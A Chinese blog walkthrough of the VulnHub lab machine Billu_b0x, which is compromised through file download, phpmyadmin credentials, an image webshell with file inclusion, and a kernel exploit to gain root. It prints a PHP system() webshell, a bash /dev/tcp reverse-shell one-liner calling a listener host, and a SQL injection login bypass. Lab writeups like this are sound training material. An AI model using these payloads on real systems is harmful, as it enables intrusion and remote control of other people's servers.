前言
最近闲来无事,觉得自己学习理论知识太多,实验做的比较少,就在VulnHub上下载靶机来做一做,感觉VulnHub上有些靶机挺有意思的,取得root的方式也不唯一,这篇博客是VulnHub系列的第一篇writeup,之后也会把自己做的wp分享上来。
正文
下载靶机Billu_b0x到本地,用VMware打开,设置网络为NAT,和kali同属于一个网段。
进行主机扫描和端口扫描
发现靶机开启了http服务,用dirb进行目录扫描
dirb http://192.168.2.133 /usr/share/dirb/wordlists/big.txt
根据扫描结果可以看到网站还有phpmyadmin服务,同时扫描根目录下文件有:
1 | http://192.168.2.133/add |
查看网站突破点
网站主页面:
主页面需要登陆,尝试爆破和万能密钥没用,看其他页面
上传文件没用,猜测是个静态页面,迷惑用的
phpinfo信息
这里提示file参数为空,尝试get提交无用,post提交:
通过此处将网站上的已经扫出来的文件下载,进行代码审计
在c.php文件中可以看到数据库的账号密码,通过前端phpmyadmin登陆
在数据库ica_lab下的auth表中发现网站主页登陆的用户名密码
这里发现可以通过phpmyadmin执行SQL语句,并且可以通过phpinfo知道网站绝对路径,想通过SQL写入webshell,但是发现权限不够
上传图片马取得webshell
换一种思路,通过刚才得到的用户名密码登陆网站主页:
在主页发现文件上传点,是用来上传用户图像的,之前爆目录的时候知道这里的路径为网站根目录/uploaded_images/图片文件
这里可以制作一个图片马来上传:
写好php代码
1
'cmd']); system($_GET[
利用cmd来制作图片马
将图片马上传
图片马上传了,还需要文件包含漏洞得把这个图片让后端当成php来解析,之前在代码审计的时候,发现在panel.php有文件包含漏洞:
测试一下——不成功,没反应
猜测是因为图片太大,php代码加在图片末尾,没加载出来。
太坑了,在网上找了好久,终于找到一个图片大小比较小的,测试成功
可以看到这里的权限是www-data
反弹一个低权限shell
构建一个shell反弹出来:
echo "bash -i >& /dev/tcp/192.168.2.132/4444 0>&1" | bash
这里要进行url编码:
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.132%2F4444%200%3E%261%22%20%7C%20bash
然后在终端中用nc监听
提权
拿到shell之后,要进行提权到root权限,使用uname -a
和cat /etc/issue
来查看系统内核版本,考虑使用本地溢出漏洞来进行提权
下载exp:https://www.exploit-db.com/exploits/37292
注意的是网站根目录没有写权限,但是在/uploaded_images/
是一个写权限目录
为了上传文件方便,这里再写一个webshell用菜刀连上
直接把exp拖进去就可以了,然后编译执行,提权到root
总结
这个靶机总体来说比较简单,但是渗透的时候也遇到了一些坑,增长了很多经验,值得初学者学习学习。
番外
另外两种突破点:
在test.php文件任意下载漏洞中,可以通过phpmyadmin的配置文件获取root密码,需要猜路径,根据爆破出的目录,该配置文件所在路径为:
/var/www/phpmy/config.inc.php
打开文件,可以看到root的密码是
roottoor
,直接ssh连接即可根据代码审计,在对首页登陆index.php的尝试SQL注入绕过
则payload为
'or 1=1 --\'
(这里不太明白,或许就是or把pass和uname弄没了,导致where 1,最后查出数据库结果?)SQL注入绕过成功